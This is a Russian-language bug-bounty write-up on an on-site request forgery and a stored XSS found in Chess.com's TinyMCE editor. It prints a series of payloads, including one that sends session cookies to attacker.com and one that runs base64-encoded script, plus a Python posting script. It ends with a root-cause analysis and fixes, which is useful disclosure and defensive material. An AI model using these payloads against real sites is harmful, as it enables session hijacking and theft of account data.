Шахматы – это одно из многих моих хобби, за которыми я провожу свободное время, когда не ковыряюсь с какой-нибудь электроникой. При этом играю я так себе, и когда мне изрядно надоело проигрывать, я решил заняться тем, что у меня получается гораздо лучше… хакнуть систему!
В этой статье я расскажу о том, как использовал свои знания по кибербезопасности для обнаружения XSS-уязвимости (Cross-Site Scripting, межсайтовый скриптинг) на крупнейшем шахматном сайте интернета со 100 миллионами участников – Chess.com. Но для начала небольшое вступление (в котором будет затронута немного менее серьёзная, но достаточно занятная, уязвимость OSRF (On-site Request Forgery, подделка запросов на сайте).
▍ Вступление
В начале 2023 года я начал частенько играть на chess.com. Как-то общаясь с другом в Discord, я убедил его тоже зарегистрироваться и использовал предлагаемую ресурсом возможность установить дружескую связь сразу после регистрации.
Эта функция напомнила мне о случае с MySpace Worm, произошедшем в 2005 году (чёрт возьми, меня тогда и на свете ещё не было), когда Сэми Камкар внедрил в свой профиль код, который добавлял в друзья всех посетителей его страницы, внедряя аналогичный код уже в их профили (тем самым создав червя). Мне стало интересно, можно ли проделать что-то подобное на этом ресурсе. Я кликнул по предлагаемой ссылке и создал новый аккаунт, после чего заглянул во вкладку инструментов разработчика – интересно…после создания аккаунта ресурс отправил GET
-запрос на htttps://chess.com/registration-invite?hash=XXX
Выходит, если я сделаю так, чтобы пользователь запросил этот URL-адрес, система автоматически добавит этого пользователя ко мне в друзья. По воле случая я как раз лазил в настройках, где наткнулся на «Святой Грааль»…редактор форматированного текста TinyMCE с функцией загрузки изображений.
Посмотрим, что произойдёт, если вставить ссылку на изображение. Корректно ли будет встроен этот URL-адрес, или же в системе есть некая защита от подделки запросов?
Chess.com обрабатывает этот процесс на стороне сервера, повторно загружая изображение на отдельный сервер для хранения, после чего направляет URL именно туда. Хмм… А что будет, если использовать ссылку с корневым доменом chess.com? Станет ли система загружать картинку повторно на другой сервер? Это важно, особенно при совмещении домена с конкретным URL-адресом вроде…
Бинго! Я переключился на свой альтернативный аккаунт, перешёл на страницу профиля и проверил список друзей, куда был успешно добавлен мой основной аккаунт.
Мне не верилось, что это сработало, и я вдоволь посмеялся. В ходе мероприятий по выявлению и рассмотрению багов разработчики постарались реализовать защиту, так как, когда я попытался повторить то же самое для них, система выдала ошибку:
Но и тут проблемы нет. Мне удалось обойти эту защиту, установив поддомен, включающий chess.com, и перенаправив URL на /registration-invite
А вот как это выглядело при посещении моего профиля:
После обнаружения бага и отправки отчёта мне стало интересно, что ещё можно проделать посредством TinyMCE – смогу ли я реализовать XSS? Насколько эффективная на сайте налажена очистка? И здесь мы подходим к самой захватывающей части…
▍ Миттельшпиль
Немного поигравшись с редактором, я понял, что не особо преуспею без использования чего-то вроде Burp's proxy для перехвата запроса на сохранение моей информации About
и непосредственного внедрения в него чистого HTML-кода (всё, что пишется в редакторе, трактуется как текст). Вполне ожидаемо, в системе уже оказались реализованы защиты для удаления атрибутов и тегов, не включённых в белый список. Значит, взглянем на то, что разрешено.
Просмотрев конфигурацию TinyMCE на сайте (находится в файле tinymce-lazy-client.js
), я выяснил, что для тегов img
в списке Allowed
находится атрибут стиля background-image
. Толку от этого мало, но мне стало интересно, применяется ли функция повторной загрузки внешнего URL-адреса изображения также и к атрибутам. Что ж…попробовать стоит. Посмотрим, что произойдёт при использовании следующей полезной нагрузки:
<p><img src="https://www.pngmart.com/files/22/Penguin-PNG-Photos.png" style="display: block; margin: 0 auto; background-image: url(https://test.com/);"> <p>
Я буквально не поверил своим глазам, когда загрузил свой профиль. URL действительно был передан, но в ходе этого процесса что-то пошло не так, в результате чего в начало новой ссылки был добавлен символ “
. Это привело к преждевременному закрытию атрибута стиля и превращению оставшегося URL-адреса в лишние атрибуты!
Поскольку добавление разрешённых атрибутов оказалось возможным, я попытался придумать, как сгенерировать полезную нагрузку, которая бы заставила сервер при загрузке изображения выполнять вредоносный JS-код. Используемые в URL-адресе прямые слэши /
служили в качестве разграничителей, и каждый добавляемый между ними элемент представлял новый атрибут. Исходя из этого, я попробовал использовать url('https://test.com/onload')
Чтобы понять, как добавить полезную нагрузку, я попытался перебрать все символы и оценить, как каждый из них влияет на конечный результат. Используя эту тактику, я выяснил, что можно добавить ?
для изменения данных следующего атрибута (хотя здесь возникает небольшой подвох – нельзя будет использовать ?
в остальной части полезной нагрузки). В итоге получилось вот что:
<p><img src="https://www.pngmart.com/files/22/Penguin-PNG-Photos.png" style="display: block; margin: 0 auto; background-image: url(https://images.chesscomfiles.com/?/onload=alert);"><p>
Теперь у нас возникает ещё одна проблема: заключительная конструкция ""
будет постоянно выбрасывать синтаксическую ошибку, останавливая выполнение кода…Закомментируем её с помощью //
и протестируем простую alert(1)
.
<p><img src="https://www.pngmart.com/files/22/Penguin-PNG-Photos.png" style="display: block; margin: 0 auto; background-image: url('https://images.chesscomfiles.com/?/onload=alert(1);//');"> <p>
Чёрт, скобки отфильтровываются… Значит, я не смогу вызывать любые функции с любыми параметрами.
Ещё хуже то, что отфильтровываются почти все полезные символы: – ,’^&[]’$%
… как же нам тогда оказать хоть какое-то серьёзное влияние? Вернёмся к основам – посмотрим, удастся ли нам установить переменную x
на 4
. (К счастью, символ =
не отфильтровывается).
<p><img src="https://www.pngmart.com/files/22/Penguin-PNG-Photos.png" style="display: block; margin: 0 auto; background-image: url(https://images.chesscomfiles.com/?/onload='x=2;//');" class="imageUploaderImg" alt="" /></p>
Использование в полезной нагрузке ‘
портит код JS (кодируется в %27
), и вызывает синтаксическую ошибку. Тут я задумался, но вскоре понял, что %27
также может интерпретироваться как завершающая часть операции деления с остатком… Тогда, возможно, мне удастся заставить браузер выполнять эту операцию, после чего уже присваивать переменную. В итоге у меня получилась такая полезная нагрузка:
<p><img src="https://www.pngmart.com/files/22/Penguin-PNG-Photos.png" style="display: block; margin: 0 auto; background-image: url(https://images.chesscomfiles.com/?/onload=4';x=2;//');" class="imageUploaderImg" alt="" /></p>
Вот это уже что-то! Посмотрим, удастся ли мне изменить некоторые встроенные переменные (например, document.cookie
) на строку. Это может оказаться проблематичным, так как во всех стандартных способах определения строки используются кавычки или обратный апостроф, которые отфильтровываются.
Пора обратиться к гуглу. Пошерстив немного StackOverflow, я наткнулся на такой комментарий:
Получается, можно определить регулярное выражение и затем получить его строку из атрибута source
. Встроим этот приём в нашу полезную нагрузку и попробуем переписать куки PHPSESSID
. (Спасибо тебе, Frobinsonj!)
<p><img src="https://www.pngmart.com/files/22/Penguin-PNG-Photos.png" style="display: block; margin: 0 auto; background-image: url(https://images.chesscomfiles.com/?/onload=4';document.cookie=/PHPSESSID=invalid /.source;//');" class="imageUploaderImg" alt="" /></p>
Возможность переписать куки – это, безусловно, круто, но мы можем извлечь текущий их набор для оказания более существенного влияния. Можно попробовать установить переменные документа и расположения, чтобы перенаправлять пользователя на собственный сайт, добавляя куки в качестве параметров. Но возникает уже известная нам проблема – невозможность использовать символ ?
.
Хмм… Тогда, возможно, не в качестве параметра – есть и другие способы включения данных в URL – например, их прописывание в пути. URL-адрес вроде http:attacker.com/sensitivedata
потребует использования /
, но мы уже используем его для форматирования всего адреса в виде строки, используя трюк с регулярным выражением.
Но кто сказал, что нам нужно вводить /
вручную? Этот символ повсеместно используется для построения путей каталогов, значит в JS должна существовать включающая его переменная. На этот раз я без лишних хлопот нашёл location.pathname
.
Вот итоговая полезная нагрузка:
<p><img src="https://www.pngmart.com/files/22/Penguin-PNG-Photos.png" style="display: block; margin: 0 auto; background-image: url(https://images.chesscomfiles.com/?/onload=4';document.location=/http:attacker.com/.source+location.pathname+document.cookie;//');" class="imageUploaderImg" alt="" /></p>
Чудесно. Выходит, я могу извлекать куки без HttpOnly
или любых других сохранённых JS-объектов. В итоге я извлёк некоторые чувствительные данные аккаунта и сообщил об уязвимости команде безопасности.
▍ Эндшпиль
После такого успеха во мне заиграла гордость. Но, поскольку я всегда готов к испытаниям и люблю проявлять энтузиазм, то решил попробовать реализовать полноценную атаку XSS. Дня два я размышлял над тем, как это можно сделать.
Вернёмся к изначальной проблеме использования url()
в стиле background-image
, который мгновенно закрывает атрибут, добавляя остаток URL-адреса в виде неотфильтрованных атрибутов. Что, если вместо использования url()
в стиле переместить его в другой, более непосредственный атрибут вроде srcset
? Не особо перспективный ход, но хотя бы тогда он будет рассматриваться несколько иначе и даст возможность использовать больше символов, а значит, и более обширный синтаксис JS, позволив реализовать полноценную XSS-атаку. Вот что у меня получилось:
<p><img src="a.png" style="display: block; margin: 0 auto;" srcset=url(https://images.chesscomfiles.com/onerror=eval(atob("YWxlcnQoMSk=)));2+4//></p>
Как видите, здесь нам не нужно использовать ?
, и (
с "
не кодируются, то есть мы можем закодировать любую полезную нагрузку в base64 и выполнить её напрямую! Вау!
Помимо всего этого, я вскоре узнал, что редактор TinyMCE используется не только на странице профиля About
, но практически во всех частях сайта, включая блоги и комментарии на форумах. Это подразумевает значительное влияние, поскольку комментариями и блогами ежедневно пользуются тысячи участников платформы.
Надеюсь, вам было столь же интересно читать эту статью, сколько мне раскапывать этот интригующий баг! В итоге оказалось, что об уязвимости для XSS разработчики уже знали (это весьма заурядная находка в процессе поиска багов). А вот мой изначальный вектор проникновения через атрибут фонового изображения им был не известен, и они внимательно ознакомились с моим подробным отчётом, даже предложив за него награду.
В итоге выяснилось, что при анализе моего профиля они смогли откатить его для просмотра прежних версий, а при загрузке этих старых представлений вредоносный HTML из моего ввода не отфильтровывался. То есть, когда я пытался выполнить XSS, вредоносная полезная нагрузка сохранилась в виде прежней версии и выполнилась уже при просмотре этой версии специалистами сайта.
▍ Анализ
Основной корень этих уязвимостей кроется в функции повторной загрузки изображений. Во-первых, систему проверки на предмет того, размещается ли изображение на chess.com, можно легко обмануть, включив chess.com в имя домена. Вместо этого система должна проверять, соответствует ли корневой домен домену chess.com или, что ещё лучше, просто в любом случае повторно загружать изображение в CDN (Content Delivery Network, сеть доставки содержимого).
Редакторы форматированного текста – это золотая жила для реализации XSS, поскольку они позволяют использовать разные HTML-элементы для дополнительной стилизации. Вместо принятия входных данных и трактовки их только как текста, они должны принимать сырой HTML и встраивать непосредственно его – именно поэтому столь важно настраивать белые списки, устанавливая, какие элементы и атрибуты могут быть получены. Кроме того, также важно поддерживать актуальную версию редактора.
Тем не менее в этом случае TinyMCE был актуален и настроен корректно, не позволяя использование скриптовых тегов и атрибутов. Проблема заключалась в том, что при вводе кода для нашего профиля он сначала очищался (это хорошо), но очистка производилась до выполнения в нём дополнительного кода, такого как повторная загрузка изображений. Это и вело к тому, что итоговый HTML оказывался полностью иным и очистке не подвергался.
Если разработчики chess.com хотят продолжить использовать этот редактор, им нужно обеспечить, чтобы очищался непосредственно конечный HTML-код, показываемый пользователю. И хотя это изменение HTML было вызвано тем, что функция повторной загрузки изменяла URL-адрес, и техническое исправление этого недочёта перекроет данный вектор атаки, аналогичный трюк может проделать и другая функция. Поэтому важно исправить саму процедуру очистки (реализовать защиту в глубину).
И напоследок ещё несколько дополнительных деталей:
- Если вам интересно, почему для эксплуатации OSRF я напрямую не использовал
friend.chess.com
, то пока я всё это тестировал, разработчики chess.com изменили что-то в работе ресурса, и мне удалось добиться успеха только черезchess.com/registration-invite...
- Гуглу не понравился созданный мной поддомен chess.com, и через пару недель мой домен обозначили как «фишинговый» — мне пришлось связаться с поддержкой, чтобы всё объяснить, после чего я вручную удалил его, так как страдал от этого весь домен.
- Во время стадии извлечения данных, когда мне не удавалось вытащить их в качестве параметра, я понял, что могу установить данные в виде поддомена вроде
http:sensitivedata.attacker.com
. Это можно сделать с помощью многоуровневой системы wildcard DNS, в которой, например, Cloudflare Worker будет логировать запрошенный поддомен. Но такую схему будет сложнее настроить, и я пока в ней не разбирался. - В качестве альтернативы Burp для перехвата и отправки сырых данных в раздел
About
в редакторе можно вручную отправлятьPOST
-запрос с помощью скриптового языка вроде Python.
import requests, os
import urllib3
cookies = {
xxxxx
}
headers = {
xxxxxx
}
data = {
'profile[firstName]': 'Jake',
'profile[lastName]': '',
'profile[location]': '',
'profile[country]': '164',
'profile[language]': '10',
'profile[contentLanguage][contentLanguage]': 'default_and_user',
'profile[timezone]': 'Europe/London',
'profile[ratingType]': '',
'profile[fideRating]': '',
'profile[about]': '<p>payload here</p>',
'profile[save]': '',
'profile[_token]': 'xxxx',
}
while True:
data['profile[about]'] = input()
response = requests.post('https://www.chess.com/settings', cookies=cookies, headers=headers, data=data)
print(response)
Дисклеймер: весь процесс проделывался в рамках программы по отлавливанию багов и оставался строго в рамках определённой области. Информация, позволяющая установить личность, была скрыта по запросу. Об этом баге я сообщил больше года назад, и на данный момент уже прошёл установленный период неразглашения в 9 месяцев. Настоятельно рекомендую взламывать сайты, только когда у вас есть на это письменное разрешение.
Автор: Дмитрий Брайт